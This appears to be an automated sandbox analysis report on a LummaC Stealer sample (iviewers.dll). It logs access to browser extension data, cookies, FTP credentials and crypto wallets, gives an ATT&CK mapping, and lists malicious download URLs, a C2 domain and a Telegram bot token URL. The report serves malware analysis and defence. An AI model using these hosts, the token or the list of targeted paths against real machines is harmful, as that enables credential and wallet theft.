Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\SQRKHNBNYN
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 2196, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	111 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	311 Process Injection	31 Obfuscated Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Install Root Certificate	Security Account Manager	33 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Command and Scripting Interpreter	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	241 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	231 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	231 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Regsvr32	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
iviewers.dll	47%	ReversingLabs	Win32.Trojan.Doina

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.dll	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://147.45.44.131/infopage/pilgm.ps1n	0%	Avira URL Cloud	safe
https://fivenaii.click/	0%	Avira URL Cloud	safe
https://fivenaii.click:443/api	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/pilgm.ps1p	0%	Avira URL Cloud	safe
http://crl.microEU	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/pilgm.ps1b	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/pilgm.ps1l	0%	Avira URL Cloud	safe
https://fivenaii.click:443/apiKa	0%	Avira URL Cloud	safe
https://fivenaii.click/l	0%	Avira URL Cloud	safe
http://crl.microsoftt	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/pilgm.ps1X	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/pilgm.ps1U	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/p:	0%	Avira URL Cloud	safe
https://api.telegram.org0	0%	Avira URL Cloud	safe
https://fivenaii.click/apip	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/hgfpj.exe	0%	Avira URL Cloud	safe
https://fivenaii.click/api	0%	Avira URL Cloud	safe
fivenaii.click	0%	Avira URL Cloud	safe
https://fivenaii.click/80	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/ubvsd.exeq	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/pilgm.ps19M	0%	Avira URL Cloud	safe
http://crl.microM	0%	Avira URL Cloud	safe
https://fivenaii.click/7	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/pilgm.ps1(	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/hgfpj.exe0M	0%	Avira URL Cloud	safe
https://fivenaii.click:443/apiLSID	0%	Avira URL Cloud	safe
https://fivenaii.click/cUC	0%	Avira URL Cloud	safe
https://fivenaii.click/4	0%	Avira URL Cloud	safe
https://fivenaii.click/0	0%	Avira URL Cloud	safe
https://fivenaii.click/53	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/hgfpj.exeL	0%	Avira URL Cloud	safe
https://fivenaii.click/apiF	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/hgfpj.exe0	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/ubvsd.exe	0%	Avira URL Cloud	safe
https://fivenaii.click/Q	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/p	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/pilgm.ps1	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/pilgm.ps14	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	false		high
fivenaii.click	104.21.60.24	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
slipperyloo.lat	false		high
curverpluch.lat	false		high
tentabatte.lat	false		high
manyrestro.lat	false		high
bashfulacid.lat	false		high
http://147.45.44.131/infopage/hgfpj.exe	true	Avira URL Cloud: safe	unknown
https://fivenaii.click/api	true	Avira URL Cloud: safe	unknown
fivenaii.click	true	Avira URL Cloud: safe	unknown
wordyfindy.lat	false		high
shapestickyr.lat	false		high
talkynicer.lat	false		high
http://147.45.44.131/infopage/ubvsd.exe	true	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/pilgm.ps1	true	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://147.45.44.131/infopage/pilgm.ps1n	curl.exe, 00000026.00000002.1796222258.0000000003328000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fivenaii.click/	RegAsm.exe, RegAsm.exe, 00000031.00000002.2174361705.000000000329C000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000031.00000002.2172787217.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/pilgm.ps1l	curl.exe, 0000001F.00000002.1753219734.0000000003170000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fivenaii.click:443/apiKa	RegAsm.exe, 0000002B.00000002.2110691890.0000000003A60000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microEU	powershell.exe, 0000001B.00000002.1953992530.0000000007570000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/pilgm.ps1p	curl.exe, 00000019.00000002.1746361769.0000000000558000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org	powershell.exe, 0000000C.00000002.1694181605.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1694150794.0000000004C9D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1694125670.0000000004F87000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1718935125.0000000004957000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoft	RegAsm.exe, 0000002D.00000002.1868439481.0000000000DC6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000025.00000002.1978905072.00000000061FD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.microsoftt	powershell.exe, 0000000D.00000002.1714471562.000000000734F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fivenaii.click:443/api	RegAsm.exe	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/pilgm.ps1b	curl.exe, 00000026.00000002.1796222258.0000000003328000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fivenaii.click/l	RegAsm.exe, 00000031.00000002.2174361705.000000000329C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/pilgm.ps1U	curl.exe, 0000001F.00000002.1753219734.0000000003178000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/pilgm.ps1X	curl.exe, 0000001F.00000002.1753219734.0000000003178000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.131/infopage/p:	curl.exe, 0000001E.00000002.1745016542.0000000003568000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fivenaii.click/apip	RegAsm.exe, 0000002D.00000002.1866051496.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=76540	iviewers.dll	false		high
https://aka.ms/pscore6lB	powershell.exe, 0000000C.00000002.1694181605.0000000004D51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1694150794.0000000004A61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.1694125670.0000000004D61000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1718935125.0000000004731000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.1835577839.0000000004631000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1861999388.0000000004F8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1831061949.0000000005291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.1915834227.0000000005191000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.veris	powershell.exe, 00000018.00000002.1829917121.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7453569667:aaexd9axbzzcee5q99ndzg6kmwdokbksvlu/sendmessage?chat_id=76540	powershell.exe, 0000000E.00000002.1693280783.0000000003110000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.1772070677.0000000006E61000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000025.00000002.1978905072.00000000061FD000.00000004.00000800.00020000.00000000.sdmp	false		high
